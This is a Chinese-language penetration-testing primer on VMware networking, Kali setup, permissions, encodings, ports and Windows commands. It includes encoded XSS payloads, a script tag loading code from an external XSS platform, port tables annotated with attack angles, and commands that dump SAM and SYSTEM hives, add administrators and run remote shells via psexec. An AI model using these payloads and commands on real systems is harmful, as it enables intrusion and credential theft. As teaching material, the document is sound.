渗透测试基础
- Web安全
- 一、VMware虚拟机学习使用
- 1、虚拟机简单介绍
- 2、网络模式
- 2.1 桥接网络(Bridged Networking)
- 2.2 NAT模式
- 2.3 Host-Only模式
- 3、通俗理解
- 二、Kali的2021安装与配置
- 1、简单介绍
- 2、Kali的版本
- 3、配置
- 3.1 安装虚拟机open-vm-tools-desktop模块
- 3.2 设置中文
- 3.3 安装python3的pip
- 3.4 更新源
- 三、Kali基础知识
- Linux文件属性和权限设置
- 文件解释
- 用户权限
- 权限设置
- 四、渗透测试常用编码
- 1、页面编码
- 2、ascii编码
- 3、HTML编码
- 4、URL编码
- 5、js编码
- 6、hex编码
- 7、base64编码
- 8、json编码0
- 9、序列化
- 10、utf7编码
- 五、搭建博客系统
- 1、注册域名
- 2、域名的访问
- 3、服务器
- 4、环境安装
- 5、域名的指向
- 六、端口协议
- 1、端口的作用
- 2、端口的类型
- 3、常见的端口
- 4、TCP协议三次握手
- 5、查看端口
- 6、如何查看端口被占用?
- 7、TCP状态转移要点
- 8、常见的端口
- 七、渗透测试中常见windows命令
Web安全
1、Web安全——HTML基础
2、Web安全——DIV CSS基础
3、Web安全——JavaScript基础
4、Web安全——PHP基础
5、Web安全——JavaScript基础(加入案例)
6、靶场搭建——搭建pikachu靶场
7、Web安全——数据库mysql学习
一、VMware虚拟机学习使用
1、虚拟机简单介绍
虚拟机软件可让你在不重启电脑的情况下,在一个操作系统上同时运行多个不同的系统,譬如在
Win10上同时运行Ubuntu与Win7,用户可用于各种开发、测试或运行不同平台的软件。
VMware Workstation Pro 17 中文专业版功能相对免费的 VMWare Player 要丰富强大得多!新版本支持 Windows 10,支持 USB 3.1、蓝牙、4K,支持容器、兼容 Hyper-V,支持 DirectX 11 和 OpenGL 4.1 加速,3D 游戏性能大幅提高!另外还可共享或远程控制虚拟机等……
2、网络模式
我们知道VMware也分几种版本,普通用户最常用的就是Workstation,但是不管使用哪种版本,我们都能发现在安装过程中让我们选择网络模式。在默认情况下会选中桥接模式,但有用户会问其他模式是干什么用的?
VMware 3种网络模式的功能和通信规则。
我们首先说一下VMware的几个虚拟设备
VMnet0:用于虚拟桥接网络下的虚拟交换机
VMnet1:用于虚拟Host-Only网络下的虚拟交换机
VMnet8:用于虚拟NAT网络下的虚拟交换机
VMware Network Adepter VMnet1:Host用于与Host-Only虚拟网络进行通信的虚拟网卡
VMware Network Adepter VMnet8:Host用于与NAT虚拟网络进行通信的虚拟网卡
安装了VMware虚拟机后,会在网络连接对话框中多出两个虚拟网卡。
2.1 桥接网络(Bridged Networking)
桥接网络是指本地物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接,物理网卡和虚拟网卡在拓扑图上处于同等地位(虚拟网卡既不是Adepter VMnet1也不是Adepter VMnet8)。
那么物理网卡和虚拟网卡就相当于处于同一个网段,虚拟交换机就相当于一台现实网络中的交换机。所以两个网卡的IP地址也要设置为同一网段。
虚拟网卡IP地址
我们看到,物理网卡和虚拟网卡的IP地址处于同一个网段,子网掩码、网关、DNS等参数都相同。两个网卡在拓扑结构中是相对独立的。
我们在192.168.15.111上ping192.168.15.96,结果显示两个网卡能够互相通信。如果在网络中存在DHCP服务器, 那么虚拟网卡同样可以从DHCP服务器上获取IP地址。所以桥接网络模式是VMware虚拟机中最简单直接的模式。安装虚拟机时它为默认选项。
2.2 NAT模式
在NAT网络中,会用到VMware Network Adepter VMnet8虚拟网卡,主机上的VMware Network Adepter VMnet8虚拟网卡被直接连接到VMnet8虚拟交换机上与虚拟网卡进行通信。
NAT网络模式
VMware Network Adepter VMnet8虚拟网卡的作用仅限于和VMnet8网段进行通信,它不给VMnet8网段提供路由功能,所以虚拟机虚拟一个NAT服务器,使虚拟网卡可以连接到Internet。在这种情况下,我们就可以使用端口映射功能,让访问主机80端口的请求映射到虚拟机的80端口上。
VMware Network Adepter VMnet8虚拟网卡的IP地址是在安装VMware时由系统指定生成的,我们不要修改这个数值,否则会使主机和虚拟机无法通信。
虚拟出来的网段和NAT模式虚拟网卡的网段是一样的,都为192.168.111.X,包括NAT服务器的IP地址也是这个网段。在安装VMware之后同样会生成一个虚拟DHCP服务器,为NAT服务器分配IP地址。
当主机和虚拟机进行通信的时候就会调用VMware Network Adepter VMnet8虚拟网卡,因为他们都在一个网段,所以通信就不成问题了。
实际上,VMware Network Adepter VMnet8虚拟网卡的作用就是为主机和虚拟机的通信提供一个接口,即使主机的物理网卡被关闭,虚拟机仍然可以连接到Internet,但是主机和虚拟机之间就不能互访了。
2.3 Host-Only模式
在Host-Only模式下,虚拟网络是一个全封闭的网络,它唯一能够访问的就是主机。其实Host-Only网络和NAT网络很相似,不同的地方就是Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。
同
NAT一样,VMware Network Adepter VMnet1虚拟网卡的IP地址也是VMware系统指定的,同时生成的虚拟DHCP服务器和虚拟网卡的IP地址位于同一网段,但和物理网卡的IP地址不在同一网段。
Host-Only的宗旨就是建立一个与外界隔绝的内部网络,来提高内网的安全性。这个功能或许对普通用户来说没有多大意义,但大型服务商会常利用这个功能。如果你想为VMnet1网段提供路由功能,那就需要使用RRAS,而不能使用XP或2000的ICS,因为ICS会把内网的IP地址改为192.168.0.1,但虚拟机是不会给VMnet1虚拟网卡分配这个地址的,那么主机和虚拟机之间就不能通信了。
综述
在VMware的3中网络模式中,NAT模式是最简单的,基本不需要手动配置IP地址等相关参数。至于桥接模式则需要额外的IP地址,如果是在内网环境中还很容易,如果是ADSL宽带就比较麻烦了,ISP一般是不会大方的多提供一个公网IP的。
3、通俗理解
| 模式 | 解释 |
|---|---|
| 桥接模式 | 同一网段内访问能访问互联网 |
NAT模式 | 不在一个网段内 能上网 也能访问内网其他机器,但是其他机子访问不了。 |
Host模式 | 物理机能访问。不能不上网 不能访问局域网其他机子。 |
二、Kali的2021安装与配置
1、简单介绍
Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。每一季度更新一次。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 。
Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng.[2] 用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86 指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromebook。
2、Kali的版本
根据系统的不同选择不同的版本。主要分为32/64版本 通常用64居多
同时也提供多个安装版本 直接安装的版本、虚拟机版本 (wmare /vbox)
3、配置
3.1 安装虚拟机open-vm-tools-desktop模块
sudo apt-get install open-vm-tools-desktop
3.2 设置中文
sudo apt-get install ttf-wqy-microhei ttf-wqy-zenhei xfonts-wqy
sudo dpkg-reconfigure locales
选择字符 zh_CN.UTF-8
重启 reboot
3.3 安装python3的pip
sudo apt-get install python3-pip
解决pip3超时下载
python3的pip3默认源太慢,所以我们为了提升使用效果,通常选择国内源。
其实方法很简单,脚本如下:
mkdir -p ~/.pip
vim ~/.pip/pip.conf
然后将下列的内容写入~/.pip/pip.conf即可。
[global]
index-url = http://pypi.douban.com/simple
[install]
trusted-host=pypi.douban.com
我这里使用了豆瓣的源,只是使用习惯问题,当然我们也可以使用清华等其他国内源。
国内其他pip源
清华:https://pypi.tuna.tsinghua.edu.cn/simple
中国科技大学:https://pypi.mirrors.ustc.edu.cn/simple/
华中理工大学:http://pypi.hustunique.com/
山东理工大学:http://pypi.sdutlinux.org/
豆瓣:http://pypi.douban.com/simple/
3.4 更新源
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
sudo vim /etc/apt/sources.list
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
apt-get update 更新系统
apt-get upgrade 升级已安装的所有软件包
apt-get dist-upgrade 升级软件 会自动处理依赖包
vim 编辑器
sudo 使用特权 root权限
:wq 保存
三、Kali基础知识
Linux文件属性和权限设置
文件解释
使用 ls -al 命令后会列出如下图所示的文件详细信息:
d 是目录 directory
- ==普通文件 二进制文件 ==
l 软连接
用户权限
文件中r w x -的含义,r是只读权限,w是写的权限,x是可执行权限,-是没有任何权限。
目录中 r w x的含义,r具有ls权限,w是在目录上可以增加、删除、创建权限,x是具有ls –l权限。
权限设置
chmod 777 +文件名 (给单独文件赋所有权限)
chmod -R 777 /home/user 注: 表示将整个/home/user目录与其中的文件和子目录的权限都设置为rwxrwxrwx
更改文件权限
chmod 654 /test
对用户可读可写: 4(读取)+ 2(写入)= 6 ;
对用户组可读可执行: 4(读取)+ 1(执行)= 5 ;
对其他用户仅可读: 4(读取);
常用权限
-rw------- (600) 只有所有者才有读和写的权限
-rw-r--r-- (644) 只有所有者才有读和写的权限,组群和其他人只有读的权限
-rwx------ (700) 只有所有者才有读,写,执行的权限
-rwxr-xr-x (755) 只有所有者才有读,写,执行的权限,组群和其他人只有读和执行的权限
-rwx--x--x (711) 只有所有者才有读,写,执行的权限,组群和其他人只有执行的权限
-rw-rw-rw- (666) 每个人都有读写的权限
-rwxrwxrwx (777) 每个人都有读写和执行的权限
也可以使用字母模式
chmod +x 和chmod a+x 是一样的,一般没有明确要求,可以就用chmod +x
创建一个文件只有用户具有完全控制的权限
touch moonsec
设置它用具有完全控制的权限 rwx 用户组没有任何权限 其他用户也没有任何权限
chmod u+rwx moonsec 当前用户加全部的权限
chmod g-r moonsec 群组把读取权限去掉
chmod o-r moonsec 其他用户读取权限去掉
四、渗透测试常用编码
1、页面编码
在网页设置网页编码 在<head></head>中加入设置特定html标签
<meta charset="utf-8" /> 这样页面的编码就会变成utf-8 ,如果没有设置编码就会使用默认的编码,而浏览器默认编码与之不同就会出现乱码。
常用的有三种格式分别是 utf-8、gbk、gbk2312
2、ascii编码
百度百科 详细介绍
https://baike.baidu.com/item/ASCII/309296fr=aladdin&fromid=3712529&fromtitle=ASCII%E7%BC%96%E7%A0%81
在渗透测试中常用的标准表 十进制 是 0-127 共128个字符
3、HTML编码
实体
HTML 中的预留字符必须被替换为字符实体。
1、在 HTML 中,某些字符是预留的。
2、在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。
3、如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。
字符实体类似这样:
&entity_name;
或者
&#entity_number;
如需显示小于号,我们必须这样写:< 或 <
不间断空格(non-breaking space)
HTML 中的常用字符实体是不间断空格( )。
浏览器总是会截短
HTML页面中的空格。如果您在文本中写10个空格,在显示该页面之前,浏览器会删除它们中的9个。如需在页面中增加空格的数量,您需要使用 字符实体。
提示: 使用实体名而不是数字的好处是,名称易于记忆。不过坏处是,浏览器也许并不支持所有实体名称(对实体数字的支持却很好)。
HTML 中有用的字符实体
注释: 实体名称对大小写敏感!
| 显示结果 | 描述 | 实体名称 | 实体编号 |
|---|---|---|---|
| 空格 | |   | |
| < | 小于号 | < | < |
> | 大于号 | > | > |
| & | 和号 | & | & |
| " | 引号 | " | " |
| ’ | 撇号 | ' (IE不支持) | ' |
| ¢ | 分(cent) | ¢ | ¢ |
| £ | 镑(pound) | £ | £ |
| ¥ | 元(yen) | ¥ | ¥ |
| € | 欧元(euro) | € | € |
| § | 小节 | § | § |
| © | 版权(copyright) | © | © |
| ® | 注册商标 | ® | ® |
| ™ | 商标 | ™ | ™ |
| × | 乘号 | × | × |
| ÷ | 除号 | ÷ | ÷ |
HTML编码的存在就是让他在代码中和显示中分开, 避免错误。
命名实体: 构造是&加上希腊字母,
字符编码: 构造是&#加十进制
十六进制 ASCII码或unicode字符编码,浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。
http://www.qqxiuzi.cn/bianma/zifushiti.php
十六进制
<img src=https://www.baidu.com/img/bd_logo1.png>
十进制
<img src=https://www.baidu.com/img/bd_logo1.png>
xss
<img src="x" onerror="alert(1)" />
4、URL编码
URL编码是一种多功能技术,可以通过它来战胜多种类型的输入过滤器。
URL编码的最基本表示方式是使用问题字符的十六进制ASCII编码来替换它们,并在ASCII编码前加%。
例如,单引号字符的ASCII码为0x27,其URL编码的表示方式为%27。
5、js编码
<script>alert("Hello world!");</script>
javascript的十六进制编码
\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x22\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x21\x22\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E
javascript的**八进制编码 **
\74\163\143\162\151\160\164\76\141\154\145\162\164\50\42\110\145\154\154\157\40\167\157\162\154\144\41\42\51\73\74\57\163\143\162\151\160\164\76
http://www.jb51.net/tools/zhuanhuan.htm
javascript unicode编码
<img src="1.jpg" />
<script src=http://xsst.sinaapp.com/m.js></script>
<embed src=http://1.com/1.swf allowscriptaccess=always></embed>
\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0048\u0065\u006c\u006c\u006f\u0020\u0077\u006f\u0072\u006c\u0064\u0021\u0022\u0029\u003b\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0020
http://www.msxindl.com/tools/unicode16.asp
https://www.toolmao.com/xsstranser
6、hex编码
这种编码常用于数据库中 转码过后要加上0x
例如 a的hex码是61 如果在数据库使用要加上0x61
7、base64编码
BASE64 编码是一种常用的字符编码,在很多地方都会用到。但base64不是安全领域下的加密解密算法。能起到安全作用的效果很差,而且很容易破解,他核心作用应该是传输数据的正确性,有些网关或系统只能使用ASCII字符。Base64就是用来将非ASCII字符的数据转换成ASCII字符的一种方法,而且base64特别适合在http,mime协议下快速传输数据。
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>
8、json编码0
JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,易于阅读和编写,同时也易于机器解析和生成。它基于ECMA262语言规范(1999-12第三版)中JavaScript编程语言的一个子集。JSON采用与编程语言无关的文本格式,但是也使用了类C语言(包括C, C++, C#, Java, JavaScript, Perl, Python等)的习惯,这些特性使JSON成为理想的数据交换格式。
[
{
"Name": "a1",
"Number": "123",
"Contno": "000",
"QQNo": ""
},
{
"Name": "a1",
"Number": "123",
"Contno": "000",
"QQNo": ""
},
{
"Name": "a1",
"Number": "123",
"Contno": "000",
"QQNo": ""
}
]
<?php
$data='[{"Name":"a1","Number":"123","Contno":"000","QQNo":""},{"Name":"a1","Number":"123","Contno":"000","QQNo":""},{"Name":"a1","Number":"123","Contno":"000","QQNo":""}]';
$json=json_decode($data);
print_r($json);
?>
9、序列化
序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
百度百科详细
https://baike.baidu.com/item/%E5%BA%8F%E5%88%97%E5%8C%96/2890184?fr=aladdin
a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
<?php
$stooges = array('Moe','Larry','Curly');
$new = serialize($stooges);
print_r($new);
echo "<br />";
print_r(unserialize($new));
?>
10、utf7编码
UTF-7 (7-位元Unicode 转换格式(Unicode Transformation Format,简写成 UTF))是一种可变长度字符编码方式, 用以将 Unicode 字符以 ASCII 编码的字符串来呈现,可以应用在电子邮件传输之类的应用。
https://web2hack.org/xssee/
五、搭建博客系统
1、注册域名
注册域名可以到国外注册或者在国内阿里云 腾讯云 或者是其他IDC注册域名。
域名的作用是:让域名能够访问到那个ip 服务器中间件根据这个域名查找对应的目录,返回网站给浏览器。
2、域名的访问
域名访问国内的服务器域名需要备案。不备案都不允许访问国内的服务器。
域名能够指向香港、台湾以及国外的服务器。所以一般购买国外的服务器。
3、服务器
根据需要挑选适合的服务器,一般博客系统并不需要性能很好的服务器。
服务器分为独立服务器和vps,独立服务器可以虚拟化很多的vps。VPS在各大IDC都有的卖淘宝也有。
4、环境安装
选择好适合的博客系统,再安装博客系统支持的环境,这里我就以phpstudy这样套件演示,一键傻瓜式安装即可。
Wordpress
https://cn.wordpress.org/latest-zh_CN.zip
5、域名的指向
a记录指向
六、端口协议
1、端口的作用
一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。 那么,主机是怎样区分不同的网络服务呢?显然不能只靠IP地址,因为IP 地址与网络服务的关系是一对多的关系。实际上是通过“IP地址+端口号”来区分不同的服务的。
web 80
ftp 21
http//:ip80
ftp
本地 通信端口 访问 服务器 80 通信是这样的
2、端口的类型
TCP端口和UDP端口。由于TCP和UDP两个协议是独立的,因此各自的端口号也相互独立,比如TCP有235端口,UDP也可以有235端口,两者并不冲突。
- (1)
TCP端口
TCP端口,即传输控制协议端口,需要在客户端和服务器之间建立连接,这样可以提供可靠的数据传输。常见的包括FTP服务的21端口,Telnet服务的23端口,SMTP服务的25端口,以及HTTP服务的80端口等等。 - (2)
UDP端口
UDP端口,即用户数据包协议端口,无需在客户端和服务器之间建立连接,安全性得不到保障。常见的有DNS服务的53端口,SNMP(简单网络管理协议)服务的161端口,QQ使用的8000和400
3、常见的端口
范围0-65535
- a.服务端使用的端口号
-
- • 预留端口号
取值范围0-1023,这些端口我们编程的时候不能使用,是那些vip应用程序使用的,只有超级用户特权的应用才允许被分配一个预留端口号
- • 预留端口号
-
- • 登记端口号
取值范围1024-49151,就是我们平时编写服务器使用的端口号范围
- • 登记端口号
- b.客户端使用的端口号
取值范围49152-65535,这部分是客户端进程运行时动态选择的范围,又叫临时端口号
4、TCP协议三次握手

三次握手(Three-way Handshake),是指建立一个 TCP 连接时,需要客户端和服务器总共发送3个包。
-
第一次握手(
[SYN], Seq = x)
客户端发送一个SYN标记的包,Seq初始序列号x,发送完成后客户端进入SYN_SEND状态。 -
第二次握手(
[SYN,ACK], Seq = y, ACK = x + 1)
服务器返回确认包(ACK)应答,同时还要发送一个SYN包回去。ACK = x + 1,表示确认收到(客户端发来的Seq值 + 1),Seq = y, 表示让客户端确认是否能收到。发送完成后服务端进入SYN_RCVD状态。 -
第三次握手(
[ACK], ACK = y + 1)
客户端再次发送确认包(ACK),ACK = y + 1, 表示确认收到服务器的包(服务端发来的Seq值 + 1)。客户端发送完毕后,进入ESTABLISHED状态,服务端接收到这个包,也进入ESTABLISHED状态,TCP握手结束。
5、查看端口
netstat –ano
6、如何查看端口被占用?
netstat -ano|findstr "80"
显示协议统计和当前 TCP/IP 网络连接。
NETSTAT [-a] [-b] [-e] [-f] [-n] [-o] [-p proto] [-r] [-s] [-t] [interval]
| 参数 | 功能 |
|---|---|
| -a | 显示所有连接和侦听端口。 |
| -b | 显示在创建每个连接或侦听端口时涉及的可执行程序。在某些情况下,已知可执行程序承载多个独立的组件,这些情况下,显示创建连接或侦听端口时涉及的组件序列。此情况下,可执行程序的名称位于底部[]中,它调用的组件位于顶部,直至达到 TCP/IP。注意,此选项可能很耗时,并且在您没有足够权限时可能失败。 |
| -e | 显示以太网统计。此选项可以与 -s 选项结合使用。 |
| -f | 显示外部地址的完全限定域名(FQDN)。 |
| -n | 以数字形式显示地址和端口号。 |
| -o | 显示拥有的与每个连接关联的进程 ID。 |
| -p proto | 显示 proto 指定的协议的连接;proto 可以是下列任何一个: TCP、UDP、TCPv6 或 UDPv6。如果与 -s 选项一起用来显示每个协议的统计,proto 可以是下列任何一个: IP、IPv6、ICMP、ICMPv6、TCP、TCPv6、UDP或 UDPv6。 |
| -r | 显示路由表。 |
| -s | 显示每个协议的统计。默认情况下,显示IP、IPv6、ICMP、ICMPv6、TCP、TCPv6、UDP 和 UDPv6 的统计;-p 选项可用于指定默认的子网。 |
| -t | 显示当前连接卸载状态。 |
| interval | 重新显示选定的统计,各个显示间暂停的间隔秒数。按 CTRL+C 停止重新显示统计。如果省略,则 netstat将打印当前的配置信息一次。 |
7、TCP状态转移要点
TCP协议规定,对于已经建立的连接,网络双方要进行四次握手才能成功断开连接,如果缺少了其中某个步骤,将会使连接处于假死状态,连接本身占用的资源不会被释放。网络服务器程序要同时管理大量连接,所以很有必要保证无用连接完全断开,否则大量僵死的连接会浪费许多服务器资源。在众多TCP状态中,最值得注意的状态有两个:CLOSE_WAIT和TIME_WAIT。
- 1、
LISTENING状态
FTP服务启动后首先处于侦听(LISTENING)状态。 - 2、
ESTABLISHED状态
ESTABLISHED的意思是建立连接。表示两台机器正在通信。 - 3、
CLOSE_WAIT
对方主动关闭连接或者网络异常导致连接中断,这时我方的状态会变成CLOSE_WAIT此时我方要调用close()来使得连接正确关闭 - 4、
TIME_WAIT
我方主动调用close()断开连接,收到对方确认后状态变为TIME_WAIT。TCP协议规定TIME_WAIT状态会一直持续2MSL(即两倍的分段最大生存期),以此来确保旧的连接状态不会对新连接产生影响。处于TIME_WAIT状态的连接占用的资源不会被内核释放,所以作为服务器,在可能的情况下,尽量不要主动断开连接,以减少TIME_WAIT状态造成的资源浪费。
8、常见的端口
在渗透中端口扫描的收集主机那些服务很重要,这里收集到一些常见的的服务端口
1,web类(web漏洞/敏感目录)
第三方通用组件漏洞struts thinkphp jboss ganglia zabbix
| 端口号 | 名称 |
|---|---|
80 | web |
80-89 | web |
8000-9090 | web |
2,数据库类(扫描弱口令)
| 端口号 | 名称 |
|---|---|
1433 | MSSQL |
1521 | Oracle |
3306 | MySQL |
5432 | PostgreSQL |
3,特殊服务类(未授权/命令执行类/漏洞)
| 端口号 | 名称 |
|---|---|
| 443 | SSL心脏滴血 |
| 873 | Rsync未授权 |
| 5984 | CouchDB http://xxx:5984/_utils/ |
| 6379 | redis未授权 |
| 7001,7002 | WebLogic默认弱口令,反序列 |
| 9200,9300 | elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 |
| 11211 | memcache未授权访问 |
| 27017,27018 | Mongodb未授权访问 |
| 50000 | SAP命令执行 |
| 50070,50030 | hadoop默认端口未授权访问 |
4,常用端口类(扫描弱口令/端口爆破)
| 端口号 | 名称 |
|---|---|
| 21 | ftp |
| 22 | SSH |
| 23 | Telnet |
| 2601,2604 | zebra路由,默认密码zebra |
| 3389 | 远程桌面 |
端口合计详情
| 端口号 | 名称 |
|---|---|
| 21 | ftp |
| 22 | SSH |
| 23 | Telnet |
| 80 | web |
| 80-89 | web |
| 161 | SNMP |
| 389 | LDAP |
| 443 | SSL心脏滴血以及一些web漏洞测试 |
| 445 | SMB |
| 512,513,514 | Rexec |
| 873 | Rsync未授权 |
| 1025,111 | NFS |
| 1433 | MSSQL |
| 1521 | Oracle:(iSqlPlus Port:5560,7778) |
| 2082/2083 | cpanel主机管理系统登陆 (国外用较多) |
| 2222 | DA虚拟主机管理系统登陆 (国外用较多) |
| 2601,2604 | zebra路由,默认密码zebra |
| 3128 | squid代理默认端口,如果没设置口令很可能就直接漫游内网了 |
| 3306 | MySQL |
| 3312/3311 | kangle主机管理系统登陆 |
| 3389 | 远程桌面 |
| 4440 | rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 |
| 5432 | PostgreSQL |
| 5900 | vnc |
| 5984 | CouchDB http://xxx:5984/_utils/ |
| 6082 | varnish 参考WooYun: Varnish HTTP accelerator CLI未授权访问易导致网站被直接篡改或者作为代理进入内网 |
| 6379 | redis未授权 |
| 7001,7002 | WebLogic默认弱口令,反序列 |
| 7778 | Kloxo主机控制面板登录 |
| 8000-9090 | 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 |
| 8080 | tomcat/WDCP主机管理系统,默认弱口令 |
| 8080,8089,9090 | JBOSS |
| 8083 | Vestacp主机管理系统 (国外用较多) |
| 8649 | ganglia |
| 8888 | amh/LuManager 主机管理系统默认端口 |
| 9200,9300 | elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 |
| 10000 | Virtualmin/Webmin 服务器虚拟主机管理系统 |
| 11211 | memcache未授权访问 |
| 27017,27018 | Mongodb未授权访问 |
| 28017 | mongodb统计页面 |
| 50000 | SAP命令执行 |
| 50070,50030 | hadoop默认端口未授权访问 |
七、渗透测试中常见windows命令
| 命令 | 功能 |
|---|---|
| ifconfig /all | 获取获取域名、IP地址、DHCP服务器、网关、MAC地址、主机名 |
| net time /domain | 查看域名、时间 |
| net view /domain | 查看域内所有共享 |
| net view ip | 查看对方局域网内开启了哪些共享 |
| net config workstation | 查看域名、机器名等 |
| net user 用户名 密码 /add | 建立用户 |
| net user 用户名 /del | 删除用户 |
| net user guest /active:yes | 激活guest账户 |
| net user | 查看账户 |
| net user | 账户名 查看指定账户信息 |
| net user /domain | 查看域内有哪些用户,Windows NT Workstation 计算机上可用,由此可以此判断用户是否是域成员。 |
| net user 用户名 /domain | 查看账户信息 |
| net group /domain | 查看域中的组 |
| net group “domain admins” /domain | 查看当前域的管理用户 |
| query user | 查看当前在线的用户 |
| net localgroup | 查看所有的本地组 |
| net localgroup administrators | 查看administrators组中有哪些用户 |
| net localgroup administrators 用户名 /add | 把用户添加到管理员组中 |
| net start | 查看开启服务 |
| net start 服务名 | 开启某服务 |
| net stop 服务名 | 停止某服务 |
| net share | 查看本地开启的共享 |
| net share ipc$ | 开启ipc$共享 |
| net share ipc$ /del | 删除ipc$共享 |
| net share c$ /del | 删除C:共享 |
| \192.168.0.108\c | 访问默认共享c盘 |
| dsquery server | 查看所有域控制器 |
| dsquery subnet | 查看域内内子网 |
| dsquery group | 查看域内工作组 |
| dsquery site | 查看域内站点 |
| netstat -a | 查看开启了哪些端口,常用netstat -an |
| netstat -n | 查看端口的网络连接情况,常用netstat -an |
| netstat -v | 查看正在进行的工作 |
| netstat -p 协议名 | 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) |
| netstat -s | 查看正在使用的所有协议使用情况 |
| nbtstat -A ip | 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 |
| reg save hklm\sam sam.hive | 导出用户组信息、权限配置 |
| reg save hklm\system system.hive | 导出SYSKEY |
| net use \目标IP\ipc$ 密码 /u:用户名 | 连接目标机器 |
| at \目标IP 21:31 c:\server.exe | 在某个时间启动某个应用 |
| wmic /node:“目标IP” /password:“123456” /user:“admin” | 连接目标机器 |
| psexec.exe \目标IP -u username -p password -s cmd | 在目标机器上执行cmd |
| finger username @host | 查看最近有哪些用户登陆 |
| route print | 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface |
| arp | 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。 |
| arp -a | 将显示出全部信息 |
| nslookup | IP地址侦测器 |
| tasklist | 查看当前进程 |
| taskkill /pid PID数 | 终止指定PID进程 |
| whoami | 查看当前用户及权限 |
| systeminfo | 查看计算机信息(版本,位数,补丁情况) |
| ver | 查看计算机操作系统版本 |
| tasklist /svc | 查看当前计算机进程情况 |
| netstat -ano | 查看当前计算机进程情况 |
| wmic product > ins.txt | 查看安装软件以及版本路径等信息,重定向到ins.txt |


















